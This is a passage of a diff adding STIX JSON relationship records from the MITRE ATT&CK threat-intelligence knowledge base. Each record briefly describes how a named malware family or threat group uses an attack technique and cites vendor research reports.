"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbon](https://attack.mitre.org/software/S0335) establishes persistence by creating a service and naming it based off the operating system version running on the current machine.", + "type": "relationship", + "created": "2019-01-29T19:36:02.740Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--677e0d3e-4a61-490d-a49d-f392cc3432d1", + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "modified": "2019-04-12T14:43:22.668Z", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Epic](https://attack.mitre.org/software/S0091) encrypts commands from the C2 server using a hardcoded key.", + "type": "relationship", + "created": "2019-01-29T19:55:48.154Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bcc48bba-95a6-465b-ad37-90e2faee5707", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "modified": "2019-07-26T16:10:42.985Z", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) searches for anti-virus software running on the system.", + "type": "relationship", + "created": "2019-01-29T20:17:49.232Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cdefab78-5d90-4e89-8664-5bbd30ab1517", + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "modified": "2019-06-30T22:44:28.218Z", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT38](https://attack.mitre.org/groups/G0082) used a backdoor, NESTEGG, that has the capability to download and upload files to and from a victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-29T21:27:25.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--559dfd54-de33-4cfc-aeec-617cd545e870", + "external_references": [ + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "modified": "2019-04-29T17:49:17.883Z", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) can launch a remote command shell interface for executing commands.", + "type": "relationship", + "created": "2019-01-29T21:40:37.806Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--543fe202-892b-4282-b691-090029b56b1f", + "external_references": [ + { + "source_name": "Zscaler Cobian Aug 2017", + "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.", + "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat" + } + ], + "modified": "2019-04-23T21:09:54.688Z", + "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Octopus](https://attack.mitre.org/software/S0340) can capture screenshots of the victims\u2019 machine.", + "type": "relationship", + "created": "2019-01-30T13:24:09.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f590ef19-3b83-459d-993c-a599407b7ca0", + "external_references": [ + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "modified": "2019-01-30T13:24:09.055Z", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) enumerates all Windows services.", + "type": "relationship", + "created": "2019-01-30T13:53:14.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c58aab0-77cf-469e-836e-2b8c031afd1e", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-04-17T22:22:22.015Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from several applications such as Outlook, Filezilla, and WinSCP. Additionally, it searches for the \".vnc.lnk\" affix to steal VNC credentials.", + "type": "relationship", + "created": "2019-01-30T14:11:44.244Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b2f0fb3-5877-4fa2-bed1-1962423caccd", + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + }, + { + "source_name": "TrendMicro Trickbot Feb 2019", + "description": "Llimos, N., Pascual, C.. (2019, February 12). Trickbot Adds Remote Application Credential-Grabbing Capabilities to Its Repertoire. Retrieved March 12, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/" + } + ], + "modified": "2019-06-24T19:15:06.700Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can encrypt C2 traffic using XOR.", + "type": "relationship", + "created": "2019-01-30T15:19:14.963Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--14568d94-858d-4b8a-af94-88cd17f6ab10", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "modified": "2019-07-26T23:22:28.495Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used PowerShell scripts for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--204159d6-7f4a-4e0f-b492-974a776af423", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "Symantec Dragonfly Sept 2017", + "description": "Symantec Security Response. (2017, September 6). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.", + "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-03-22T20:13:49.619Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) connects to a predefined domain on port 443 to exfil gathered information.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c5a0e330-ec5a-49cc-95b8-b7a5c49bd500", + "external_references": [ + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [DustySky](https://attack.mitre.org/software/S0062) dropper uses Windows Management Instrumentation to extract information about the operating system and whether an anti-virus is active.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a58662b-4eb1-4172-b387-13e9b574368a", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to download and execute additional files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c39e878e-a496-4271-9998-2d5c9511e0a4", + "external_references": [ + { + "source_name": "Zscaler Kasidet", + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) uploads files from a specified directory to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e4f09baa-2eae-445f-b000-5de3db07ad34", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.800Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses process hollowing and [Regsvr32](https://attack.mitre.org/techniques/T1117) to execute another payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e039e3d4-2e3d-4e6e-902e-5e1834abe8e4", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "relationship_type": "uses", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) has used RDP to move laterally to systems in the victim environment.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a48e7d01-012a-4336-9676-0f34e8501e22", + "external_references": [ + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "modified": "2019-04-25T12:09:56.320Z", + "source_ref": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "relationship_type": "uses", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [APT1](https://attack.mitre.org/groups/G0006) group is known to have used pass the hash.", + "type": "relationship", + "created": "2017-05-31T21:33:27.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b35fec9-ee0d-4c2d-9936-0aa06ad6a49a", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.825Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) marks files to be deleted upon the next system reboot and uninstalls and removes itself from the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--172a8a26-d2c9-4d29-b050-55949c0186dd", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s New-UserPersistenceOption Persistence argument can be used to establish via a [Scheduled Task](https://attack.mitre.org/techniques/T1053).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91c5d713-a89c-49fa-92eb-abaf18fae988", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.197Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers the Address Resolution Protocol (ARP) table from the victim.", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--510c2f8c-4570-4c19-8c36-7004f8bbf561", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8f1354c-9cff-40ef-aa47-591952c735c3", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) monitors USB devices and copies files with certain extensions to\na predefined directory.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5027a119-ff43-4ca6-a862-3efe39b29b3e", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061)'s malicious spearphishing payloads are executed as [PowerShell](https://attack.mitre.org/techniques/T1086). [FIN8](https://attack.mitre.org/groups/G0061) has also used [PowerShell](https://attack.mitre.org/techniques/T1086) during and.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd001a55-ed41-4109-9090-41bebed9113a", + "external_references": [ + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.792Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [CALENDAR](https://attack.mitre.org/software/S0025) malware communicates through the use of events in Google Calendar.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2244e21e-b7f6-476f-8f58-67db772f9736", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-01-30T15:39:45.683Z", + "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) disable recovery options and deletes shadow copies from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d090e9d-f9fb-4f73-99df-0e17a7489adb", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:16.022Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Duqu](https://attack.mitre.org/software/S0038) can be configured to have commands relayed over a peer-to-peer network of infected hosts if some of the hosts do not have Internet access.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1451c4a3-5dc6-4744-8120-197f3a3134c1", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.289Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host (Jscript and VBScript) and runs arbitrary shellcode .", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08738197-aa06-4177-acc2-10569c39f423", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[H1N1](https://attack.mitre.org/software/S0132) bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8961d93e-ec51-42dd-8f76-54d46ea21967", + "external_references": [ + { + "source_name": "Cisco H1N1 Part 2", + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "modified": "2019-04-29T18:23:16.039Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The initial beacon packet for [Misdat](https://attack.mitre.org/software/S0083) contains the operating system version of the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": 